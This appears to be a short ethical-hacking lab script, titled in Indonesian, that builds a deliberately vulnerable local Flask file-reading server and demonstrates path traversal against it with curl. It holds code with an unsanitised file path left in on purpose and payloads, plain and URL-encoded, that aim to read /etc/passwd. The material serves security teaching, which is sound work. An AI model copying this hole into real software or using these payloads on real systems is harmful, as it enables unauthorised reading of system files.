EH-10: Path Traversal - Membaca File di Luar Web Root

cd ~ && mkdir -p eth-l10 && cd eth-l10
cat > server.py << 'PYEOF'
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/read')
def read():
    f = request.args.get('file','')
    path = os.path.join('files', f)
    try:
        with open(path) as fh: return fh.read()
    except: return "Error", 404
app.run(port=9008)
PYEOF
python3 server.py &
sleep 1
echo "=== 1. Normal ==*"
mkdir -p files; echo "Rahasia" > files/secret.txt
curl -s "http://localhost:9008/read?file=secret.txt"
echo ""
echo "=== 2. Path Traversal ==*"
curl -s "http://localhost:9008/read?file=../etc/passwd"
echo ""
echo "=== 3. URL Encoded ==*"
curl -s "http://localhost:9008/read?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd"
kill %1 2>/dev/null